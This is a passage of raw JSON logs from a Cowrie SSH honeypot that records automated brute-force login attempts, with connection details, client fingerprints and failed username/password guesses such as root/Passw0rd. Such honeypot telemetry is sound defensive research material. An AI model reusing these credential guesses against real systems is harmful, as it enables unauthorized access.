ssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:06.969168Z","src_ip":"45.156.87.253","session":"077c4cbf4e69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:07.213791Z","src_ip":"45.156.87.253","session":"077c4cbf4e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:08.296951Z","src_ip":"45.156.87.253","session":"077c4cbf4e69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40082,"dst_ip":"10.17.0.5","dst_port":22,"session":"93c91ee6325c","protocol":"ssh","message":"New connection: 45.156.87.253:40082 (10.17.0.5:22) [session: 93c91ee6325c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:10.223391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:10.228842Z","src_ip":"45.156.87.253","session":"93c91ee6325c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:10.309776Z","src_ip":"45.156.87.253","session":"93c91ee6325c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":49696,"dst_ip":"159.203.135.109","dst_port":22,"session":"5495438229c1","protocol":"ssh","message":"New connection: 132.148.142.226:49696 (159.203.135.109:22) [session: 5495438229c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:10.385407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:10.393050Z","src_ip":"132.148.142.226","session":"5495438229c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:10.458742Z","src_ip":"132.148.142.226","session":"5495438229c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:10.555861Z","src_ip":"45.156.87.253","session":"93c91ee6325c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"enjinwallet","password":"enjin123","message":"login attempt [enjinwallet/enjin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:10.656387Z","src_ip":"132.148.142.226","session":"5495438229c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":45344,"dst_ip":"159.203.135.109","dst_port":22,"session":"30217e48a5c6","protocol":"ssh","message":"New connection: 178.128.39.166:45344 (159.203.135.109:22) [session: 30217e48a5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:11.405655Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:11.639263Z","src_ip":"45.156.87.253","session":"93c91ee6325c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:11.673287Z","src_ip":"178.128.39.166","session":"30217e48a5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:11.675842Z","src_ip":"178.128.39.166","session":"30217e48a5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:11.723629Z","src_ip":"132.148.142.226","session":"5495438229c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baseball","message":"login attempt [root/baseball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:12.313401Z","src_ip":"178.128.39.166","session":"30217e48a5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:13.386759Z","src_ip":"178.128.39.166","session":"30217e48a5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40092,"dst_ip":"10.17.0.5","dst_port":22,"session":"8493bcdd22b9","protocol":"ssh","message":"New connection: 45.156.87.253:40092 (10.17.0.5:22) [session: 8493bcdd22b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:13.571454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:13.575574Z","src_ip":"45.156.87.253","session":"8493bcdd22b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:13.656665Z","src_ip":"45.156.87.253","session":"8493bcdd22b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:13.902033Z","src_ip":"45.156.87.253","session":"8493bcdd22b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:14.986677Z","src_ip":"45.156.87.253","session":"8493bcdd22b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40106,"dst_ip":"10.17.0.5","dst_port":22,"session":"f601cad4e397","protocol":"ssh","message":"New connection: 45.156.87.253:40106 (10.17.0.5:22) [session: f601cad4e397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:16.920637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:16.923663Z","src_ip":"45.156.87.253","session":"f601cad4e397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:17.097230Z","src_ip":"45.156.87.253","session":"f601cad4e397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:17.431883Z","src_ip":"45.156.87.253","session":"f601cad4e397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:18.518657Z","src_ip":"45.156.87.253","session":"f601cad4e397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38312,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d2dcb2e3a8f","protocol":"ssh","message":"New connection: 45.156.87.253:38312 (10.17.0.5:22) [session: 9d2dcb2e3a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:20.418553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:20.423616Z","src_ip":"45.156.87.253","session":"9d2dcb2e3a8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:20.505378Z","src_ip":"45.156.87.253","session":"9d2dcb2e3a8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:20.754077Z","src_ip":"45.156.87.253","session":"9d2dcb2e3a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:21.839215Z","src_ip":"45.156.87.253","session":"9d2dcb2e3a8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38328,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9c9567ddb79","protocol":"ssh","message":"New connection: 45.156.87.253:38328 (10.17.0.5:22) [session: e9c9567ddb79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:23.773715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:23.776340Z","src_ip":"45.156.87.253","session":"e9c9567ddb79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:23.856800Z","src_ip":"45.156.87.253","session":"e9c9567ddb79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:24.102733Z","src_ip":"45.156.87.253","session":"e9c9567ddb79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:25.185904Z","src_ip":"45.156.87.253","session":"e9c9567ddb79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38342,"dst_ip":"10.17.0.5","dst_port":22,"session":"300a1900a3b5","protocol":"ssh","message":"New connection: 45.156.87.253:38342 (10.17.0.5:22) [session: 300a1900a3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:27.286843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:27.290704Z","src_ip":"45.156.87.253","session":"300a1900a3b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:27.371284Z","src_ip":"45.156.87.253","session":"300a1900a3b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:27.613893Z","src_ip":"45.156.87.253","session":"300a1900a3b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:28.697073Z","src_ip":"45.156.87.253","session":"300a1900a3b5","protocol":"ssh"}
